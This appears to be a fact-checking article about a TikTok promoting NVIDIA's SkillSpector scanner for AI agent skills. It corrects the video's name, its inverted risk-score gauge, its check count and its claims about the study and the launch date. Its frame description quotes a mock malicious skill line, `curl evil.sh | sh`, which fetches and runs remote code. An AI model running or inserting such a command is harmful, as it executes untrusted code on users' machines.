---
title: "NVIDIA SkillSpector: How to Scan AI Agent Skills and Read the Score"
date: "2026-10-21"
video_id: "7699235688604093710"
tiktok_url: "https://www.tiktok.com/@ai.honeycove/video/7699235688604093710"
creator: "@ai.honeycove"
category: "AI"
tags: ["skillspector", "nvidia", "agent skills", "ai security", "claude code"]
excerpt: "SkillSpector is NVIDIA's free scanner for AI agent skills. Here is how it works, how to install it, and why a score of 94 out of 100 means do not install."
---
SkillSpector is a free, open-source command line tool from NVIDIA that scans AI agent skills for prompt injection, data exfiltration and other risks before you install them. A TikTok from @ai.honeycove promotes it under the name "Skill Spectre" and shows a score of 94 out of 100 as a safe green result. SkillSpector's score is a risk score, so 94 falls in its "DO NOT INSTALL" band.

## What is SkillSpector?

The repository is NVIDIA/SkillSpector on GitHub, licensed Apache-2.0. Its description reads "Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, and security risks before installing agent skills." It scans skills for agent tools including "Claude Code, Codex CLI, Gemini CLI, etc."

The name is one word, SkillSpector. The video's graphics spell it "Skill Spectre" with a ghost icon, and the description writes "Skill Spector." Searching for either may not find the tool.

According to the README, SkillSpector checks for 71 vulnerability patterns across 17 categories: prompt injection, data exfiltration, privilege escalation, supply chain, excessive agency, output handling, system prompt leakage, memory poisoning, tool misuse, rogue agent, anti-refusal, trigger abuse, dangerous code (AST), taint tracking, YARA signatures, MCP least privilege and MCP tool poisoning. The video says "15 checks in total," a number that does not appear in the README. The four examples it names (prompt injection, data leaks, MCP sending and suspicious agent behavior) do match real categories.

## How common are unsafe agent skills?

The video says 26% of skills contain vulnerabilities and 5% contain malicious code. The README states: "In the 31,132-skill analyzed subset of the research dataset, 26.1% of skills contain vulnerabilities and 5.2% show likely malicious intent."

The source is "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale" by Yi Liu and colleagues, arXiv 2601.10338, submitted 15 January 2026. The authors collected 42,447 skills from two marketplaces and analyzed 31,132. They found 14 vulnerability patterns across four categories: prompt injection, data exfiltration, privilege escalation and supply chain risks. Of the analyzed skills, 5.2% showed high-severity patterns suggesting malicious intent, 8.1% medium-severity patterns, and 12.8% low-severity patterns pointing to poor development practice.

The video's graphic labels the research "STUDY - 50 AGENT SKILLS" and draws 50 icons with 13 flagged. The real sample was 31,132 skills.

## How do you read a SkillSpector score?

Higher is worse. The field is `risk_score`, and the README's table reads:

| Score | Severity | Recommendation |
|-------|----------|----------------|
| 0-20 | LOW | SAFE |
| 21-50 | MEDIUM | CAUTION |
| 51-80 | HIGH | DO NOT INSTALL |
| 81-100 | CRITICAL | DO NOT INSTALL |

Points add up from findings: +50 for each critical issue, +25 for high, +10 for medium and +5 for low, with a 1.3x multiplier when the skill includes executable scripts. The README's sample output shows "Score 78/100, Severity HIGH, Recommendation DO NOT INSTALL." The command exits with code 0 when `risk_score` is 50 or below and code 1 above 50.

The video shows a gauge labeled "SECURITY SCORE," red at 0 and green at 100, with the needle at 94, and says the score tells you "whether you can install this ... or not." On SkillSpector's real scale, 94 is critical. Anyone who learned the scale from the video would read a near-worst result as safe.

## How to install and run SkillSpector

SkillSpector requires Python 3.12 or later. Install it with:

`uv tool install git+https://github.com/NVIDIA/skillspector.git`

Then scan a skill:

`skillspector scan ./my-skill/`

It accepts "Git repos, URLs, zip files, directories, or single files," and outputs to the terminal or as JSON, Markdown or SARIF. The video shows a desktop app with a repository field, a local file field and a SCAN button. None of that exists. SkillSpector is a command line tool.

## How fast is a SkillSpector scan?

The video says "in literally a second." NVIDIA's guide says only that SkillSpector "runs fast static checks by default." By default it runs static analysis across 11 analyzers, then an optional LLM review that sends file contents to a configured model provider. The `SKILLSPECTOR_MAX_WORKFLOW_SECONDS` limit defaults to 600 seconds. A static-only run with `--no-llm` on a small skill should be quicker, but NVIDIA publishes no scan time.

## Is SkillSpector new?

No. The video's description says "NVIDIA just launched" it on 2026-10-21. The GitHub API shows the repository was created on 2026-03-21. It has 18 tagged releases, from v2.5.0 on 2026-07-27 to v2.13.0 on 2026-10-16. On 2026-10-22 it had 20,886 stars and 1,833 forks.

The README describes SkillSpector as part of the NVIDIA Verified Skills pipeline, which scans, evaluates and signs skills before they are published to NVIDIA's skills catalog.

## Bottom line

SkillSpector is a real, free and actively maintained NVIDIA tool worth running on any agent skill before you install it. Its score is a risk score: 0 to 20 is safe, and anything above 50 means do not install. Install it with `uv tool install` and run `skillspector scan`, since there is no desktop app.

## Sources

- [NVIDIA/SkillSpector on GitHub](https://github.com/NVIDIA/SkillSpector): README, categories, scoring table and install steps.
- [GitHub API record for SkillSpector](https://api.github.com/repos/NVIDIA/SkillSpector): creation date, license and star count.
- [SkillSpector releases](https://api.github.com/repos/NVIDIA/SkillSpector/releases): release history.
- [Agent Skills in the Wild (arXiv 2601.10338)](https://arxiv.org/abs/2601.10338): the 31,132-skill study.
- [Scan agent skills before installation (NVIDIA docs)](https://docs.nvidia.com/skills/scanning-agent-skills): NVIDIA's guide to SkillSpector.


## Video description and verification notes

**A 48.90 second vertical clip, 1080x1920, MP4 (`mov,mp4,m4a,3gp,3g2,mj2` container, format id `bytevc1_1080p_284692-1`), HEVC Main profile video at 30/1 fps and 213,576 bps alongside HE-AACv2 stereo audio at 44,100 Hz and 64,250 bps, 1,740,182 bytes total at an overall 284,692 bps, posted at epoch 1792618014, which is 2026-10-21 21:26:54 UTC, by handle `@ai.honeycove` (uploader id 7615522612223722526, channel name "AI Honeycove") over an audio track credited as "original sound" by AI Honeycove, with a 303 character description; at capture time (metadata.json mtime 2026-10-22 06:04:20 local) the counters read 10,300 views, 329 likes, 5 comments and 82 reposts. I read 15 frames: 001, 003, 005, 007, 009, 011, 013, 015, 018, 021 and 024 from the 2 second set, plus 075, 080, 095 and 098 from a denser 2 fps re-extraction I ran into `tokdoc_frames_2fps/` because the 2 second spacing jumped straight past the score gauge. The transcript holds 140 words across 12 segments. Frame 001 (about 0 s) is a pixel-art cartoon of a bearded man in a white cap at a desktop computer above a live shot of a bearded presenter in black-framed glasses, black shirt and clip-on lav mic, seated at a desk with a green banker's lamp and a potted plant, caption "YOU MIGHT ALREADY / BE HACKED". Frame 003 (about 4 s) shows a cream dotted background, a pixel-font pill reading "STUDY - 50 AGENT SKILLS", a row of document icons and the caption "A RECENT STUDY". Frame 005 (about 8 s) fills that header with a 5 by 10 grid of 50 document icons, thirteen of them flagged red, under "26%" and "OF AGENT SKILLS CONTAIN VULNERABILITIES". Frame 007 (about 12 s) shows a card headed "⚠ MALICIOUS INTENT" labeled `cool-skill / SKILL.md` containing `## helper`, `run formatter` and a red-highlighted `curl evil.sh | sh`, above a mock prompt `> install cool-skill` with a green INSTALL button. Frame 009 (about 16 s) is the only real software in the clip: a GitHub README page with tabs "README / Contributing / Apache-2.0 license / Security", the heading "SkillSpector" highlighted in blue selection, the line "Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, and security risks before installing ag[ent] skills.", badges "python 3.12+", "License Apache 2.0" and "openssf scorecard 5.7", and the Overview sentence "Research shows that 26.1% of skills contain vulnerabilities and 5.2% show likely malicious intent." Frames 013, 015 and 018 show an invented dark window titled "SKILL SPECTRE" with a ghost icon, a REPOSITORY field typed to `github.com/user/cool-skill`, an "OR LOCAL FILE" field reading `~/.claude/skills/cool-skill/SK`, a red SCAN button, then a "SKILL SPECTRE - SCANNING" grid of four cards reading "PROMPT INJECTION", "DATA LEAKS", "MCP SENDING" and "SUSPICIOUS AGENT BEHAVIOR". Frame 075 (about 37 s) shows "15 CHECKS TOTAL" over a 3 by 5 grid of green ticks; frame 080 (about 39.5 s) shows a "SECURITY SCORE" gauge running red at 0 to green at 100 with the needle in the green at 94; frame 021 (about 40 s) shows a stopwatch and "0.8 SEC". Frame 095 (about 47 s) shows an "OPEN SOURCE" card listing only "CLAUDE CODE ✓" and "CODEX ✓", and frame 098 (about 48.5 s) returns to the presenter with the caption "AND SO ON". No terminal session, no `skillspector` command and no real scan output appears in any frame I read; every interface shown apart from the GitHub README is a motion-graphic mock. The spoken argument is that agent skills are widely unsafe, that NVIDIA shipped a free scanner for them, and that the scanner returns a 0 to 100 verdict almost instantly. Transcript-end check: the final segment is timestamped 45.16 to 58.52 s against a real audio stream of 48.895986 s. The segment starts 3.74 s inside the audio and its words match the on-screen cards at 47 s and 48.5 s, so the text is genuine and only the 9.62 s end timestamp is Whisper padding; no segment in this file sits wholly past the end of audio.**

## The tool is SkillSpector; "Skill Spectre" is the video's own invention and it contradicts the video's own screen recording

At 15.32 s Whisper transcribes the name as "Skill Spectre", and the clip's mock application window carries that spelling as burned-in text in frames 013, 015 and 018: "SKILL SPECTRE" next to a ghost emoji. This is not a Whisper artifact. The video's motion graphics really do spell it that way, and the ghost icon shows the designer read "Spectre" as the English word for an apparition.

The primary source says otherwise, and the video itself shows the primary source. At about 16 s, frame 009 displays the GitHub README with the heading rendered as "SkillSpector", one word, no space, capital S in both halves. The repository is [github.com/NVIDIA/SkillSpector](https://github.com/NVIDIA/SkillSpector); the GitHub API returns `full_name` of `NVIDIA/SkillSpector` and a description beginning "Security scanner for AI agent skills." The name is a compound of "skill" and "inspector", not "spectre".

The TikTok description gets closer and still misses, writing "Skill Spector" with a space. So the clip offers three spellings of a four-syllable product name across its caption, its graphics and its narration, and none of them match the repository. Anyone who heard this video and searched for "Skill Spectre" would not land on the tool.

## The 26 percent and 5 percent figures trace to a real paper, but the graphic showing 50 skills misstates the sample by three orders of magnitude

At 4.64 s the video says "A recent study showed that 26% of EA skills contain vulnerabilities, and 5% even have malicious code inside". "EA skills" is a Whisper mangling of "AI skills"; the burned-in caption in frame 005 reads "OF AGENT SKILLS CONTAIN VULNERABILITIES", which resolves the phrase.

The underlying numbers check out, and they are more precise than the video's rounding. The SkillSpector README states: "In the 31,132-skill analyzed subset of the research dataset, **26.1% of skills contain vulnerabilities** and **5.2% show likely malicious intent**." The source is [Liu et al., "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale"](https://arxiv.org/abs/2601.10338), arXiv 2601.10338, submitted 15 January 2026 by Yi Liu, Weizhe Wang, Ruitao Feng, Yao Zhang, Guangquan Xu, Gelei Deng, Yuekang Li and Leo Zhang. The paper collected 42,447 skills from two marketplaces and analyzed 31,132 after filtering and deduplication, finding that 8,126 of those 31,132 contained at least one potentially dangerous pattern.

The visual is where the video breaks. Frames 003 and 005 label the study "STUDY - 50 AGENT SKILLS" and draw exactly 50 document icons, thirteen flagged red. Thirteen out of fifty is 26 percent, so the graphic was built backwards from the percentage rather than from the paper. The real sample was 31,132 analyzed skills, which is 623 times the number the card claims. A viewer who took the card at face value would read a 31,000-skill marketplace census as a 50-item spot check and discount it accordingly.

One further detail from the paper that the video does not mention: the vulnerabilities spanned 14 distinct patterns across four categories (prompt injection, data exfiltration, privilege escalation and supply chain risks), and the detection framework was named SkillScan, a separate research tool from the NVIDIA scanner the video is promoting.

## "15 checks in total" understates SkillSpector's rule set by roughly a factor of five

At 36.08 s the video says "15 checks in total", and frame 075 at about 37 s renders that as a 3 by 5 grid of fifteen green ticks under the heading "15 CHECKS TOTAL".

The README is explicit and the number is not 15. Under Features it lists "**71 vulnerability patterns** across 17 categories: prompt injection, data exfiltration, privilege escalation, supply chain, excessive agency, output handling, system prompt leakage, memory poisoning, tool misuse, rogue agent, anti-refusal, trigger abuse, dangerous code (AST), taint tracking, YARA signatures, MCP least privilege, and MCP tool poisoning". The same figure repeats later in the document: "SkillSpector detects **71 vulnerability patterns** across 17 categories". A third count exists for the implementation layer, where the How It Works section describes "Fast regex-based pattern matching across 11 static analyzers". I searched the full README text for the string "15 check" and found zero matches.

So the video's 15 is not a rounding of any published number. It is not the pattern count (71), the category count (17) or the static analyzer count (11). The four items the video does name at 29.76 s, "prompt injections, data leaks, MCP sending, suspicious agent behavior", all map to real categories in that list, so the examples are right and the total is invented.

## The security gauge is inverted: SkillSpector's 94 out of 100 means do not install, and the video paints it green

This is the most consequential error in the clip. At 36.08 s the narration says the tool "gives a score from 0 to 100", and frame 080 at about 39.5 s illustrates it with a dial labeled "SECURITY SCORE", red at the 0 end, green at the 100 end, needle parked in the green at 94. At 42.56 s the narration closes the thought with "whether you can install this wonder or not". The combined message is that high is good.

SkillSpector's score runs the other way. The README's Severity Levels table reads:

| Score | Severity | Recommendation |
|-------|----------|----------------|
| 0-20 | LOW | SAFE |
| 21-50 | MEDIUM | CAUTION |
| 51-80 | HIGH | DO NOT INSTALL |
| 81-100 | CRITICAL | DO NOT INSTALL |

The field is called `risk_score`, not a security score. Points accumulate upward from danger: "CRITICAL issues: +50 points, HIGH issues: +25 points, MEDIUM issues: +10 points, LOW issues: +5 points", with a 1.3x multiplier when the skill ships executable scripts. The README's own sample terminal output shows "Score 78/100, Severity HIGH, Recommendation DO NOT INSTALL", and the documented exit codes confirm the direction: exit 0 requires `risk_score` at or below 50, exit 1 fires when `risk_score` exceeds 50.

A 94 is therefore in the CRITICAL band. A viewer who learned the scale from this video and then ran a real scan would read a near-worst-case verdict as an endorsement and install the skill.

## "NVIDIA just launched" describes a repository that is seven months old and on its eighteenth tagged release

The TikTok description opens "NVIDIA just launched Skill Spector", and the clip is built as a new-tool announcement. The GitHub API tells a different timeline. `NVIDIA/SkillSpector` has `created_at` of 2026-03-21T00:28:43Z, seven months before this video was posted on 2026-10-21. The repository carries 18 published release objects; the earliest is v2.5.0 on 2026-07-27T15:48:01Z and the most recent before the post is v2.13.0 on 2026-10-16T18:09:37Z, five days earlier. The latest commit on `main` before my capture is 11c8b48e, dated 2026-10-20T17:21:31Z, merging pull request 836.

I cannot pin the exact public launch date from the release objects alone, because the tagged series starts at 2.5.0 rather than at an initial release, which implies versions shipped before GitHub release objects were created for them. What the data does establish is that the project predates the video by seven months, that it had already reached a second major version line, and that no launch event occurred in the days around the post. The closest dated event is the v2.13.0 release five days prior, which is a point release in an established project.

At capture on 2026-10-22 the repository showed 20,886 stars, 1,833 forks and 169 open issues, which is not the profile of something launched that week.

## SkillSpector is a command line tool; the repository field, local file field and SCAN button in the video do not exist

From 23.92 s the narration describes the workflow: "You specify the repository you want to install for the skill, or maybe a file you already have installed." Frames 013 and 015 dramatize this as a desktop application with a REPOSITORY text input, an "OR LOCAL FILE" input and a red SCAN button.

The input types are correct. The README lists "Multi-format input: Scan Git repos, URLs, zip files, directories, or single files", and the NVIDIA hosted guide at [docs.nvidia.com/skills/scanning-agent-skills](https://docs.nvidia.com/skills/scanning-agent-skills) confirms it "accepts Git repositories, URLs, zip files, directories, and single files". The interface is not. SkillSpector installs with `uv tool install git+https://github.com/NVIDIA/skillspector.git` and runs as `skillspector scan ./my-skill/`, emitting terminal, JSON, Markdown or SARIF output. There is no web UI or desktop app anywhere in the README, the hosted guide or the documentation index.

Two further claims sit on either side of verification. The closing line at 45.16 s, "Open source code works on clawed code, codex, Gemini, and so on", is correct on both counts: the license badge in frame 009 and the GitHub API both report Apache-2.0, and the README's Overview names "Claude Code, Codex CLI, Gemini CLI, etc." as the agent frameworks whose skills it scans. Whisper renders Claude as "clawed", and frame 095 settles it with the burned-in label "CLAUDE CODE". That same frame lists only two of the three agents the narration names, showing "CLAUDE CODE ✓" and "CODEX ✓" with no Gemini row before the clip cuts back to the presenter at 48.5 s, so the graphic is short one item that the narration and the README both include.

The speed claim is the one I cannot source. At 36.08 s the video says the score arrives "in literally a second" and frame 021 at about 40 s puts a specific number on screen, "0.8 SEC". No published benchmark backs that figure. The NVIDIA guide says only that SkillSpector "runs fast static checks by default". The README's architecture makes a fixed sub-second number implausible as a general claim: the default pipeline is two-stage, with static analysis followed by an optional LLM semantic pass that sends file contents to a configured provider endpoint, and the workflow carries a `SKILLSPECTOR_MAX_WORKFLOW_SECONDS` ceiling that defaults to 600 seconds. A static-only run invoked with `--no-llm` could plausibly be fast on a small skill. The 0.8 second figure as presented is Unverified.

## Key Takeaways

- **Correction:** The video's graphics and narration call the tool "Skill Spectre" (burned-in text in frames 013, 015 and 018; transcript at 15.32 s) and its description calls it "Skill Spector"; the repository is `NVIDIA/SkillSpector`, spelled as one word, per the GitHub API and the README the video itself shows at about 16 s.
- **Correction:** The video's security gauge in frame 080 shows 94 out of 100 as green and safe. SkillSpector's README defines 81 to 100 as CRITICAL with the recommendation "DO NOT INSTALL", and its sample output shows 78 out of 100 as HIGH and "DO NOT INSTALL". The field is `risk_score` and higher means worse.
- **Correction:** At 36.08 s the video says "15 checks in total" and frame 075 draws fifteen ticks. The README states 71 vulnerability patterns across 17 categories, implemented over 11 static analyzers. The string "15 check" does not appear in the README.
- **Correction:** Frames 003 and 005 label the study "STUDY - 50 AGENT SKILLS" and draw 50 documents. Liu et al. collected 42,447 skills and analyzed 31,132 of them.
- **Correction:** The description says "NVIDIA just launched" the tool on 2026-10-21. The GitHub API reports the repository was created 2026-03-21, carries 18 tagged releases dating back to v2.5.0 on 2026-07-27, and shipped v2.13.0 five days before the post.
- **Partial correction:** The on-screen "OPEN SOURCE" card in frame 095 lists only Claude Code and Codex. The narration at 45.16 s and the README both add Gemini CLI.
- **Verified:** The 26 percent and 5 percent figures are real and slightly rounded down. The README cites 26.1 percent with vulnerabilities and 5.2 percent showing likely malicious intent, drawn from arXiv 2601.10338, submitted 15 January 2026.
- **Verified:** The tool is free and open source under Apache-2.0, confirmed by the license badge visible in frame 009 and by the GitHub API `license.spdx_id` field.
- **Verified:** The four scan categories named at 29.76 s (prompt injection, data leaks, MCP sending, suspicious agent behavior) all appear in the README's 17-category list.
- **Verified:** The input types described at 23.92 s are accurate. The README and the NVIDIA hosted guide both list Git repositories, URLs, zip files, directories and single files.
- **Clarification:** SkillSpector is a Python 3.12+ command line tool installed with `uv tool install` and run as `skillspector scan`. The repository field, local file field and SCAN button shown in frames 013 and 015 are motion graphics, not the product. No terminal session or real scan output appears in any frame I read.
- **Unverified:** The "0.8 SEC" figure in frame 021 and the "literally a second" claim at 36.08 s have no published benchmark. The default pipeline includes a network-bound LLM pass and carries a 600 second default workflow ceiling.
- **Context:** The paper's breakdown is finer than the video's single figure: of the 31,132 analyzed skills, 5.2 percent showed high-severity patterns suggesting malicious intent, 8.1 percent showed medium-severity patterns of ambiguous intent, and 12.8 percent showed low-severity patterns indicating poor development practice rather than attack.
- **Context:** SkillSpector is one component of the NVIDIA Verified Skills pipeline, which the README describes as scanning, evaluating and signing skills before publication to the NVIDIA skills catalog. The video presents it as a standalone antivirus.

## Resources

- [NVIDIA/SkillSpector repository and README, GitHub](https://github.com/NVIDIA/SkillSpector) establishes the correct product name, the Apache-2.0 license, the Python 3.12+ requirement, the 71 patterns across 17 categories, the 11 static analyzers, the 0-100 `risk_score` severity table, the sample terminal output showing 78/100 as DO NOT INSTALL, the `uv tool install` and `skillspector scan` command line interface, the supported agent frameworks, and the 26.1 percent and 5.2 percent research figures I cite.
- [GitHub REST API record for NVIDIA/SkillSpector](https://api.github.com/repos/NVIDIA/SkillSpector) establishes the `created_at` date of 2026-03-21T00:28:43Z, the canonical `full_name` casing, the Apache-2.0 SPDX identifier, and the star, fork and open issue counts I quote as of 2026-10-22.
- [Release list for NVIDIA/SkillSpector, GitHub API](https://api.github.com/repos/NVIDIA/SkillSpector/releases) establishes the 18 tagged releases, the earliest at v2.5.0 on 2026-07-27T15:48:01Z and the most recent before the post at v2.13.0 on 2026-10-16T18:09:37Z, which is the basis for correcting the "just launched" claim.
- [Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale, Liu et al., arXiv 2601.10338, 15 January 2026](https://arxiv.org/abs/2601.10338) establishes the author list, the submission date, the 42,447 collected and 31,132 analyzed skill counts, the 26.1 percent and 5.2 percent rates, the severity breakdown, the 14 patterns across four categories, and the SkillScan detection framework.
- [Scan agent skills before installation, NVIDIA docs](https://docs.nvidia.com/skills/scanning-agent-skills) establishes that SkillSpector runs as a `skillspector scan` command accepting Git repositories, URLs, zip files, directories and single files, and that it "runs fast static checks by default" without publishing a scan time.
